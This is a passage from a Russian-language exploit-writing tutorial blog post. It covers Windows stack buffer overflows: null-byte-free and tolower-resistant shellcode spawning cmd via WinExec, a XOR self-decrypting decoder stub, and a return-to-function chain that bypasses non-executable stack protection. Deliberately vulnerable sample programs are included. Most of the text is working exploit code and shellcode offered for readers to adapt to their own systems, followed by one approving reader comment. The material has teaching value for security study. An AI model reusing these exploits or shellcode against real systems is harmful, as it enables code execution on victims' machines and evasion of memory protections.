"\x33\xDB"              //xor ebx,ebx
                        //во избежания нулевых байт в шеллкоде
                        //пихаем нулевой байт, как конец строки
"\x53"                  //push ebx
                        //а затем уже все почти как раньше.
"\x68\x63\x6D\x64\x20"  //push 20646D63h
                        //только без нулевых байт.
"\x8B\xC4"              //mov  eax,esp
"\x6A\x01"              //push 1
"\x50"                  //push eax
"\xB8\x1D\x9C\x3A\x79"  //mov  eax,793A9C1Dh
"\xFF\xD0"              //call eax
"\x53"                  //push ebx
"\xB8\x1A\xE0\x3A\x79"  //mov  eax,793AE01Ah
"\xFF\xD0";             //call eax

В принципе шеллкод готов. Но хоть и нулевых байтов нет зато есть другой из неприятных (0x00,0x0a,0x0d,0x1a) байто, а именно 0x1a, причем этот байт встревает как нельзя не в том месте — в адресе функции ExitProcess(), отсюда делаем вывод что надо опять переписывать шеллкод. Те у кого эти адреса нормальные могут не переписывать и считать себя везунчиками и радоваться мы же как обычно переписываем шеллкод. Объясняю почему мы переписываем шеллкод, потому что ExitProcess не вызовется и эксплойтируемая программа будет крэшиться. Что у меня и происходило.

Итак, финальный релиз эксплойта с переписанным шеллкодом.

#include <windows.h>
#include <stdio.h>

unsigned char big[]=
//32 bytes
"AAAAAAAAAAA"
"AAAAAAAAAAA"
"AAAAAAAAAA"
/*addr 4 bytes*/
//0x793BEDBB jmp esp in kernel32.dll
"\xBB\xED\x3B\x79"

/*shellcode  bytes*/
                        //вот так лучше занулять регистры
"\x33\xDB"              //xor ebx,ebx
                        //во избежания нулевых байт в шеллкоде
                        //пихаем нулевой байт, как конец строки
"\x53"                  //push ebx
                        //а затем уже все почти как раньше.

"\x68\x63\x6D\x64\x20"  //push 20646D63h
                        //только без нулевых байт.
"\x8B\xC4"              //mov  eax,esp
"\x6A\x01"              //push 1
"\x50"                  //push eax
"\xB8\x1D\x9C\x3A\x79"  //mov  eax,[WinExec]
"\xFF\xD0"              //call eax
"\x53"                  //push ebx
"\xB8\x19\xE0\x3A\x79"  //mov  eax,[ExitProcess]-1 <=793AE01Ah-1=793ae019h
"\x40"                  //inc  eax
"\xFF\xD0";             //call eax


void prepare_shellcode()
{
	unsigned long kerneladdr;
	unsigned long addr;
	
	//Находим адрес ядра
	kerneladdr=GetModuleHandle("KERNEL32.DLL");

	//Находим адрес WinExec в ядре и меняем его в шеллкоде
	addr=GetProcAddress(kerneladdr,"WinExec");
	//printf("0x%08p\n",addr);
	*(DWORD *)(big+50) = addr;
	

	//Находим адрес ExitProcess в ядре и меняем его в шеллкоде
	addr=GetProcAddress(kerneladdr,"ExitProcess");
	addr--;
	//printf("0x%08p\n",addr);
	*(DWORD *)(big+58) = addr;	
}
void main()
{
  prepare_shellcode();
  printf(big);
}

Специально оставил минимум комментариев для того чтобы народ шевелил мозгами.

3. А вот и они — еще варианты.

Ну и на последок о будущем — о других вариантах размещения шеллкода. Есть способы разместить шеллкод не в стеке а через WriteProcessMemory
и VirtualProtect. Этот метод основан, что мы храним свой шеллкод в памяти чужой программы, а затем переполняем буффер и делаем прыжок
туда. Вы спросите зачем усложнять? Отвечу — этот метод хорош для обхода защит от переполнения буффера.

Не забудьте вспомнить об аргументах, когда будете удивляться: почему у меня ничего не работает?

Переполнение буффера: Собираем все вместе. Практика.

Итак в принципе с переполнением буффера мы разобрались еще в прошлой главе, так что как таковая даная глава скажет вам
не особенно много по технике эксплойтинга. Здесь будет просто рассмотрен один любопытный пример, когда шеллкод попадает под модификацию. Код в студию.

/*buggy.c*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
 
//Уязвимость именно здесь
void bugfunc(char *str)
{
	char smally[18];
	ZeroMemory(&smally,sizeof(smally));
	//BUG IS OUT THERE 8))
	strcpy(smally,str);
	printf("\nCopied string : %s \n",smally);
}
 
int main(int argc, char *argv[])
{
	char big[100];
	int i=0;
 
	ZeroMemory(&big,sizeof(big));	
	//Правильный ввод строк в статические массивы.
	fgets(big,100,stdin);
 
	printf("\nGet string : %s\n",big);
 
	//Вот тут то наш код и искажается.
	for (i=0; i<100; i++)
		big[i]=tolower(big[i]);
 
	printf("\nModified string : %s\n",big);
	//Вызов уязвимой функции.
	bugfunc(big);
 
	return 0;
}

Компилировать как обычно в релиз (Release). В принципе переполнение как переполнение, однако нет. Вся сложность не в том чтобы переполнить буффер, а в том, чтобы передать управление исполненяему коду, причем как адресс возврата, так и шеллкод не должны искажаться функцией tolower(), т.е. должны содержать из печатаемых знаков знаки только нижнего регистра. Как же найти такие символы? А очень просто — компилятор нам в руки.

#include <stdio.h>
#include <stdlib.h>
 
void main()
{
	unsigned char i,lowbyte;
	for (i=0; i<0xff; i++)
	{
		lowbyte=tolower(i);
		if (lowbyte==i) printf("0x%02X\n",i);
	}
	getch();
}
 

Данная программа находит байты не искажаемые функцией tolower(). Теперь все в принципе как обычно. Итак установим опытным путем размер вводимого буффера (20 байт+4байта адрес) необходимого для модификации адреса возврата. Для нахождения jmp/call esp рекомендую взять функцию get_esp() использованную в прошлом эксплойте. Итак у меня call esp нашлось по адресу 0x793BEDBB. Посмотрим искажается данный адрес или нет. У меня среди байт показанной прогой нашлось и 0x79 0x3B 0xED 0xBB. Значит данный адрес возврата меня в принципе устраивает. Для тех у кого все адреса найденные функцией get_esp() не подходят (ну вам и не везет) подскажу что можно вместо jmp/call esp использовать вот что:
push esp
ret

Опкоды данной комбинации комманд соответственно 0x54 0xC3 можете поискать их в загруженных дллках, советую разобраться с данным моментом. Если что спрашивайте. Но все же постарайтесь решить данную проблему сами.

Следующую проблему я буду помогать вам решать, а именно написание шеллкода которому пофиг ф-ция tolower(). Итак код в студию. Напоминаю по прежнему избегаем нулевых байт. Я тут пробовал рыпаться и писать что-то не заксоренное. Но вот столкнулся с такой проблеммрй push r имеет опкод начиная от 0x50 и как следствие мы не можем никакие регистры пихать в стек. Как же нам исхитрится чтобы избежать там всяких push eax/ebx/ecx/edx/esp и прочего? Хм… Для начало давайте немного оптимизируем шеллкод — умешьшим его.

char shellcode[]
//WinExec
"\x68\x63\x6D\x64\x20" //push 20646D63h
"\x8B\xC4" //mov eax,esp
"\x50" //push eax
"\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh
"\xFF\xD0 //call eax
//ExitProcess
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\xB8\x1C\xE0\x3A\x79" //mov eax,793AE01Ch
"\x83\xE8\x02" //sub eax,2
"\xFF\xD0"; //call eax

Проверьте, предварительно изменив адреса. Вроде должно работать с пол-пинка. Как видите шеллкод имеет лишь два слабых места:
— push eax (опкод 0x50) после tolower превращается в 0x70, итак со всеми push r.
— Адреса функций в ядре они не должны содержать не только нулевые (как у меня ExitProcess имееет адресс 0x793AE01Ah) но и байты верхнего регистра, вообщем постарайтесь подогнать под ваши адреса используя add r,x или sub r,x, замечу что inc/dec r нельзя, потому что они имеют опкод из области
верхних байт, т.е. они будут искажены.

Вторая проблем гораздо легче первой, решить ее можно сочетая математику и умения вычитания или сложения в ассемблере, как я и делаю. Теперь преступим к решению проблемы номер один. Для этого я расскажу вам как работает команда push. А работает он следующим образом push eax уменьшает esp на четыре (особенность роста стека на little endian), и пишет по адресу ss:[esp] содержимое регистра eax. Переделав слова в асм получим:

//push eax equivalent
	sub esp,4
	mov ss:[esp],eax

Зная это переделаем наш шеллкод.

unsigned char shellcode[]=
//WinExec
"\x68\x63\x6D\x64\x20" //push 20646D63h
"\x8B\xC4" //mov eax,esp
"\x83\xEC\x04" //sub esp,4
"\x36\x89\x04\x24" //mov dword ptr ss:[esp],eax
"\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh
"\xFF\xD0" //call eax
//Exitwindows
"\x33\xDB" //xor ebx,ebx
"\x83\xEC\x04" //sub esp,4
"\x36\x89\x1C\x24" //mov dword ptr ss:[esp],ebx
"\xB8\x1C\xE0\x3A\x79" //mov eax,793AE01Ch
"\x83\xE8\x02" //sub eax,2
"\xFF\xD0"; //call eax

Проверьте его еще раз на работоспособность. Работает — отлично поехали дальше… Будем делать наш великий сплойт.

/*exploit.c*/
#include <stdio.h>
 
void main()
{
char big[]=
//20xA
"AAAAAAAAAAAAAAAAAAAA"
//0x793BEDBB call esp in kernel32
"\xBB\xED\x3B\x79"
//WinExec
"\x68\x63\x6D\x64\x20" //push 20646D63h
"\x8B\xC4" //mov eax,esp
"\x83\xEC\x04" //sub esp,4
"\x36\x89\x04\x24" //mov dword ptr ss:[esp],eax
"\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh
"\xFF\xD0" //call eax
//Exitwindows
"\x33\xDB" //xor ebx,ebx
"\x83\xEC\x04" //sub esp,4
"\x36\x89\x1C\x24" //mov dword ptr ss:[esp],ebx
"\xB8\x1C\xE0\x3A\x79" //mov eax,793AE01Ch
"\x83\xE8\x02" //sub eax,2
"\xFF\xD0"; //call eax
printf(big);
}

Вот в принципе уже готов эксплойт, но на душе все равно не спокойно. А что если нам требуется выполнить гораздо больший шеллкод или что еще
хуже в программе используется функция аналог tolower который более жесток переделывает шеллкод, например заменяет пробелы на плюсы или что нибудь в этом роде, чтож мы готовы и к этому. Тут есть два решения проблемы, как обычно экстенсивное и интенсивное. Интенсивное — пишем шеллкод который проксорен и сам себя расшифровывает в памяти, т.е. самомодифицирующийся шеллкод, и экстенсивный вариант описан выше. Итак перейдем к саморасшифровывающемуся шеллкоду. Для этого напишем простой шеллкод не задумываясь ни о чем ни о каких нулевых байтах.

unsigned char shellcode[]=
"\x68\x63\x6D\x64\x00" //push 00646D63h
"\x8B\xC4" //mov eax,esp
"\x6A\x01" //push 1
"\x50" //push eax
"\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh
"\xFF\xD0" //call eax
"\x6A\x00" //push 0
"\xB8\x1A\xE0\x3A\x79" //mov eax,793AE01Ah
"\xFF\xD0"; //call eax
 

Вот что сварганил я. Теперь перейдем к выбору байта для xor’а. Байт которым будет проксорен шеллкод не должен быть в самом шеллкоде дабе не получить после ксоренья нулевые байты. Я предлагаю проксорить шеллкод по приятному байту 0x0F (подбирал полчаса). Кстати советую к подбору байта для ксора отнестись серьезно. Ибо от этого очень многое зависит. Для получения проксоренного шеллкода использовал эту прогу.

 
#include <windows.h>
#include <stdio.h>
 
void main()
{
unsigned char shellcode[]=
"\x68\x63\x6D\x64\x00" //push 00646D63h
"\x8B\xC4" //mov eax,esp
"\x6A\x01" //push 1
"\x50" //push eax
"\xB8\x1D\x9C\x3A\x79" //mov eax,793A9C1Dh
"\xFF\xD0" //call eax
"\x6A\x00" //push 0
"\xB8\x1A\xE0\x3A\x79" //mov eax,793AE01Ah
"\xFF\xD0"; //call eax
int i;
 
for (i=0; i<sizeof(shellcode)-1; i++)
{
	printf("0x%02X ",shellcode[i]^0x0F);
}
getch();
}
 

Вот проксоренный шеллкод.

unsigned char xorcode[]=
"\x67\x6C\x62\x6B\x0F"
"\x84\xCB"
"\x65\x0E"
"\x5F
"\xB7\x12\x93\x35\x76"
"\xF0\xDF"
"\x65\x0F"
"\xB7\x15\xEF\x35\x76"
"\xF0\xDF";

Теперь давайте напишем расшифровщик. Допишем его в начало и получим шеллкод. Вот тут приведу пример одного очень надежного расшифровщика.

 
use32
 
jmp codestart
 
continue:
pop esi
 
xordec:
xor byte [esi], 0fh
add esi,1
cmp dword [esi], 'end.'
jne xordec
jmp xorcode
 
codestart:
call continue
 
xorcode: 
.....
 

После метки xorcode: и пойдет наш заксоренный шеллкод. Как признак конца нашего шеллкода я поставил текст «end.», до него мы и будем расксоривать.

unsigned char shellcode[]=
//расшифровщик.
"\xEB\x11\x5E\x80\x36\x0F\x83\xC6"
"\x01\x81\x3E\x65\x6E\x64\x2E\x75"
"\xF2\xEB\x05\xE8\xEA\xFF\xFF\xFF"
//шеллкод.
"\x67\x6C\x62\x6B\x0F"
"\x84\xCB"
"\x65\x0E"
"\x5F"
"\xB7\x12\x93\x35\x76"
"\xF0\xDF"
"\x65\x0F"
"\xB7\x15\xEF\x35\x76"
"\xF0\xDF"
//метка конца шеллкода.
"end.";

Вот у нас уже готовый «конспиративный» шеллкод. Но неплохо было бы его проверить — проверьте. Теперь приступим к написанию финальной версии эксплойта.

/*exploit.c*/
#include <stdio.h>
 
void main()
{
char big[]=
//20xA
"AAAAAAAAAAAAAAAAAAAA"
//0x793BEDBB call esp in kernel32
"\xBB\xED\x3B\x79"
//расшифровщик.
"\xEB\x11\x5E\x80\x36\x0F\x83\xC6"
"\x01\x81\x3E\x65\x6E\x64\x2E\x75"
"\xF2\xEB\x05\xE8\xEA\xFF\xFF\xFF"
//шеллкод.
"\x67\x6C\x62\x6B\x0F"
"\x84\xCB"
"\x65\x0E"
"\x5F"
"\xB7\x12\x93\x35\x76"
"\xF0\xDF"
"\x65\x0F"
"\xB7\x15\xEF\x35\x76"
"\xF0\xDF"
//метка конца шеллкода.
"end.";
printf(big);
}

Вот и наш сплойт — у меня он работает, но у вас вряд ли. Ибо там зашиты адреса специфичные для моей системы. А давить халяву я вам не собираюсь давать, так что вам придется пройти все этапы самим, везде меняя адреса. А вообще советую пойти и сделать функцию prepare_shellcode, которая будет находить адреса функций, ксорить их и прописывать в шеллкод. Вообщем работайте.

0x04. Return-To-Func. Учимся кудесничать. Сразу в бой.

Итак в данной статье мы поговорим о том же пресловутом и всем надоевшем переполнении буффера в последний раз… И посвящена эта глава защитам, а точнее обходу защит от переполнения буффера (вроде той что встроена в Win 2003) например таких как Stack Shiled.

Для начала скажу немного о том, как примерно работают эти защиты, грубо говоря и не вдаваясь в технические подробности можно сказать, что защиты от перполнения буффера просто не дают выполнять код в стеке, в принципе это конечно неплохо, но в стеке исполняют на лету код многие
компиляторы. В результате они тоже не работают…. Ибо защиты от переполнения буффера не позволяют чтобы eip
приблизительно равнялся esp (плюс еще несколько хитрых методик). Т.е. никаких jmp/call esp или push esp; ret;..

Мдя, жестко, но все же — кто здесь главный? Неужели Билли?

Ну что ж хватит трепаться о плюсах и минусах… Как говорится Hey ho — let’s go! Вот вам типичная уязвимая программка.

/*buggy.c*/ 
#include <windows.h>
#include <stdio.h>

void main()
{
 char dummy[18];
 LoadLibrary("MSVCRT.DLL");
 gets(dummy);
} 

Вроде бы обычная уязвимая программка. Да так и есть. А MSVCRT.DLL я подгружаю чтобы у нас было больше выбора в будущем. В смысле больше вариантов, где что искать. Итак адрес возврата перезаписывается при вводе строки длиной 28 байта (найдено экспериментальным путем и только им). Все как обычно, но адрес возврата мы уже не можем указать на jmp esp. Куда же можно прыгнуть хм…? А прынуть можно сразу в какую-нибудь функцию, нпример в WinExec 8). Предварительно разместив ее аргументы в стеке, а в качестве адреса возврата из функции WinExec мы естественно поместим адрес ExitProcess. В результате вот схема:

— переполняем буффер и затираем адрес возврата из функции gets на адрес WinExec->
— пишем дальше в качестве адрес возврта из WinExec адрес ExitProcess’a->пишем аргументы для WinExec->
— пишем аргумент для ExitProcess’a.

В итоге вот какая у нас картина в стеке:
[24 букв ‘A’][Адрес WinExec][Адрес ExitProcess][Аргументы WinExec’a][Аргумент ExitProcess’a]

Чтож если все понятно перейдем к практической части. Ну как искать адреса функций я думаю вы уже знаете, так что пропущу эту рутинную часть пока (будет в релизе эксплойта). Самое страшное это посик строк в дллках. Для этого с помощью хекс-редактора найдем в kernel32.dll или в NTDLL.DLL такие строки как «cmd\x00», т.е. «cmd» оканчивающуюся нулевым байтом. Мне не повезло и я не нашел эту строчку ни в KERNEL32 ни в NTDLL, однако нашел
в последней дллке включенной в нашей уязвимой программе «про запас».

Итак, смещение этой строки в дллке 0x34b9d. Искал я с помощью Hex WorkShop’a. Узнав с помощью LoadLibrary() адрес загрузки MSVCRT.DLL равный 0x78000000. Я соответсвенно сложил эти числа и получил адрес этой строки в памяти равный 0x78000000+0x34b9d=0x78034b9d.

Продолжил я свои поиски уже в kernel32.dll и нашел там первое 0x01 т.е. SW_HIDE для WinExec’a по смещению 0x4a, что меня конечно же не устроило ибо адресс этого байта в памяти получался как 0x79430000(адрес KERNEL32) + 0x4a=0x7943004a, т.е. адрес содержал нулевой байт, что неприемлемо. И я продолжил свои поиски пока не встретил этот же байт по удобоваримому для нас смещению 0x950, адрес же получался 0x79430950. Это нам подходит.

Осталось найти теперь нулевой байт для ExitProcess’a. Ищем и находим в KERNEL32 по смещению 0x3f7, адрес же соответственно 0x794303f7. Хотя, хочу заметить, с этим у вас проблем наверняка не будет ибо вся KERNEL32.DLL прямо-таки испещрена нулями. Теперь когда все готово напишем сплойт.

/*exploit.c*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define BUF_SIZE 24
unsigned long cmdaddr=0x78034D24,oneaddr=0x79430950,nulladdr=0x794303f7;
unsigned long winexecaddr=0x7944403F,exitaddr=0x79440E7D;


int main(int argc, char *argv[])
{
	unsigned char evil[100];

	ZeroMemory(evil,sizeof(evil));
	memset(evil,0x90,BUF_SIZE);
	*(DWORD *)(evil+BUF_SIZE)    = winexecaddr;
	*(DWORD *)(evil+BUF_SIZE+4)  = exitaddr;
	//Аргументы WinExec
	*(DWORD *)(evil+BUF_SIZE+8)  = cmdaddr;
	*(DWORD *)(evil+BUF_SIZE+12) = oneaddr;
	//Аргумент ExitProcess
	*(DWORD *)(evil+BUF_SIZE+16) = nulladdr;
	printf(evil);
	return 0;
}

Проверьте вроде работает. Работает — у меня лично да. Вам же надо все адреса поменять для своей системы… Немножко автоматизируем этот процес…

/*exploitII.c*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define BUF_SIZE 24
unsigned long cmdaddr=0x78034D24,oneaddr=0x79430950,nulladdr=0x794303f7;
unsigned long winexecaddr,exitaddr;

unsigned long SearchInMem(unsigned long start, unsigned long length, char *what, int len)
{
	BYTE *ptr;
	unsigned long i;
	ptr=(BYTE*)start;
	for (i=0; i<length; i++)
	{
		if (memcmp(what,ptr+i,len)==0)
			return start+i;
	}
	return 0;
}

void get_params()
{
	HANDLE h;
	int size=0;
	FILE *f;

	h=LoadLibrary("MSVCRT");
	cmdaddr=SearchInMem(h,0xFFFFFF,"cmd\x00",4);
	
	h=GetModuleHandle("KERNEL32");
	winexecaddr=GetProcAddress(h,"WinExec");
	exitaddr=GetProcAddress(h,"ExitProcess");
}

int main(int argc, char *argv[])
{
	unsigned char evil[100];

	get_params();
	ZeroMemory(evil,sizeof(evil));
	memset(evil,0x90,BUF_SIZE);
	*(DWORD *)(evil+BUF_SIZE)    = winexecaddr;
	*(DWORD *)(evil+BUF_SIZE+4)  = exitaddr;
	*(DWORD *)(evil+BUF_SIZE+8)  = cmdaddr;
	*(DWORD *)(evil+BUF_SIZE+12) = oneaddr;
	*(DWORD *)(evil+BUF_SIZE+16) = nulladdr;
	printf(evil);
	return 0;
}

Теперь точно должно работать. Наверное. У меня работает опять-таки… Кстати, забыл сказать: вот эти строки можно в принципе выкинуть

	*(DWORD *)(evil+BUF_SIZE+12) = oneaddr;
	*(DWORD *)(evil+BUF_SIZE+16) = nulladdr;

Ибо все равно работает. Проверенно опять-таки экспериментально.

В этот раз обошлись вообще без шеллкодинга — это я говорю нелюбителям ассемблера. В заключении скажу, что специально сделал второй вариант эксплойта и включил туда функцию SearchInMem, чтобы вы смогли легко взять ее и написать программку для автоматизированного поиска всяких интересных вещей в дллках и почей лабуде.

Учебник эксплойтера: 1 комментарий

  1. Статья очень хорошая! В своё время мне бы очень помогла! Прочитал всё с удовольствием.Респект Автору за проделанную работу.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Получать новые комментарии по электронной почте. Вы можете подписатьсяi без комментирования.